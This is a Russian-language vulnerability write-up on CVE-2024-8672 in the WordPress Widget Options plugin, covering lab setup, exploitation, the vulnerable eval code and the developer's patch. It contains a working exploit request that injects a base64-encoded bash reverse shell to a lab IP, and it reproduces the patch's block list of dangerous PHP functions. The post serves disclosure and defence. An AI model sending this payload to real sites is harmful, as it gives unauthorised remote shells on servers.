Введение
28 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с CVSS 9.9. Уязвимость позволяет выполнять удалённое исполнение вредоносного кода пользователю, имеющему права "Contributor" и выше. Уязвимости подвержены все версии плагина ниже 4.0.7 (включительно).
Подготовка стендового окружения
Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.
Установка WordPress
Заходим на страницу загрузки WordPress и скачиваем последнюю версию:
Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP - /opt/lampp/htdocs
):
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
Также нужно изменить владельца папки wordpress
на пользователя веб-сервера (в случае с XAMPP - daemon
):
sudo chown -R daemon:daemon /opt/lampp/htdocs
Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress:
Здесь необходимо будет указать данные для подключения к MySQL (для XAMPP - имя пользователя root
и пустой пароль), а также создать админского пользователя:
WordPress
установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального магазина плагинов WordPress:
После скачивания архива необходимо добавить плагин в разделе Plugins -> Installed Plugins:
Для корректной работы плагина необходимо создать пользователя с правами Contributor или выше. Это можно сделать в разделе Users:
Эксплуатация уязвимости
Для эксплуатации уязвимости требуется предварительное получение токена X-WP-Nonce для доступа к API. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами Contributor или выше, перейти в раздел Pages и создать новую страницу:
После этого открывается редактор новой страницы, который обращается к API WordPress, передавая заголовок X-WP-Nonce, который нам и нужен:
Теперь, для удалённого исполнения кода достаточно отправить GET или POST запрос:
GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&attributes[commentsToShow]=5&attributes[displayAvatar]=true&attributes[displayDate]=true&attributes[displayExcerpt]=true&attributes[extended_widget_opts][class][logic]=system('echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash')%3b&post_id=0&_locale=site HTTP/1.1
Host: 172.20.10.4
X-WP-Nonce: 9e522759e7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641
Здесь параметр GET attributes[extended_widget_opts][class][logic]
передается в функцию PHP eval
, которая выполняет переданный ей аргумент как код PHP. При этом значение данного параметра содержит вызов функции system
, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.
Таким образом, в терминал операционной системы сервера передается команда echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash
, которая представляет собой инструкцию для отправки обратного шелла (или reverse shell) на атакующую машину. Эта команда декодирует закодированную строку с помощью base64
и передает результат в интерпретатор bash
, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.
Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.
Причины уязвимости
Причина уязвимости тривиальна: разработчики передают GET-параметр в функцию eval
без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый GET-параметр до устранения данной уязвимости:
function widgetopts_safe_eval($expression)
{
ob_start();
try {
$result = (bool) eval("return $expression;");
} catch (Throwable $e) {
return false;
}
ob_end_clean();
return $result;
}
Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию eval
. После исправления разработчик внедрил фильтрацию потенциально опасных функций PHP, в результате чего функция была модифицирована следующим образом:
function widgetopts_safe_eval($expression)
{
// List of potentially harmful patterns
$dangerous_patterns = [
// Database-related keywords
'/\binsert\b/i',
'/\bupdate\b/i',
'/\bdelete\b/i',
'/\breplace\b/i',
'/\bselect\b/i',
'/\bdrop\b/i',
'/\balter\b/i',
// WordPress-specific database functions
'/\bwp_insert_post\b/i',
'/\bwp_update_post\b/i',
'/\bwp_delete_post\b/i',
'/\bwp_insert_user\b/i',
'/\bwp_update_user\b/i',
'/\bwp_delete_user\b/i',
'/\badd_option\b/i',
'/\bupdate_option\b/i',
'/\bdelete_option\b/i',
'/\bwpdb\b/i',
// JavaScript, CSS, and HTML
'/<script\b[^>]*>(.*?)<\/script>/i',
'/<style\b[^>]*>(.*?)<\/style>/i',
// PHP file manipulation functions
'/\bfile_put_contents\b/i',
'/\bfile_get_contents\b/i',
'/\bfopen\b/i',
'/\bfwrite\b/i',
'/\bunlink\b/i',
'/\brename\b/i',
'/\bchmod\b/i',
'/\bchown\b/i',
'/\bcopy\b/i',
'/\bscandir\b/i',
// External connections
'/\bwp_remote_get\b/i',
'/\bwp_remote_post\b/i',
'/\bcurl_init\b/i',
'/\bstream_context_create\b/i',
// Reflection and dynamic variable/function manipulation
'/\bReflectionClass\b/i',
'/\bReflectionMethod\b/i',
'/\bReflectionProperty\b/i',
'/\bcall_user_func\b/i',
'/\bcall_user_func_array\b/i',
'/\bextract\b/i',
'/\bparse_str\b/i',
// System commands
'/\beval\b/i',
'/\bsystem\b/i',
'/\bshell_exec\b/i',
'/\bexec\b/i',
'/\bpassthru\b/i',
'/\bpopen\b/i'
];
$return = true;
// Pattern matching
foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $expression)) {
$return = false;
break;
}
}
if ($return === false) {
return $return;
}
if (stristr($expression, "return") === false) {
$expression = "return (" . $expression . ");";
}
ob_start();
try {
$result = (bool) (@eval($expression));
} catch (\Exception $e) {
$result = false;
} catch (\Error $e) {
$result = false;
} catch (\ParseError $e) {
$result = false;
} catch (\Throwable $e) {
$result = false;
}
ob_end_clean();
return $result;
}
Стоит отметить, что примененный в решении разработчика подход "черного списка" является менее безопасным по сравнению с подходом "белого списка". Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.
Заключение
В заключение, уязвимость CVE-2024-8672, обладающая высоким уровнем критичности с оценкой CVSS 9.9, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами Contributor и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы. В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи - 4.0.8), в которой данная уязвимость была устранена.
Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam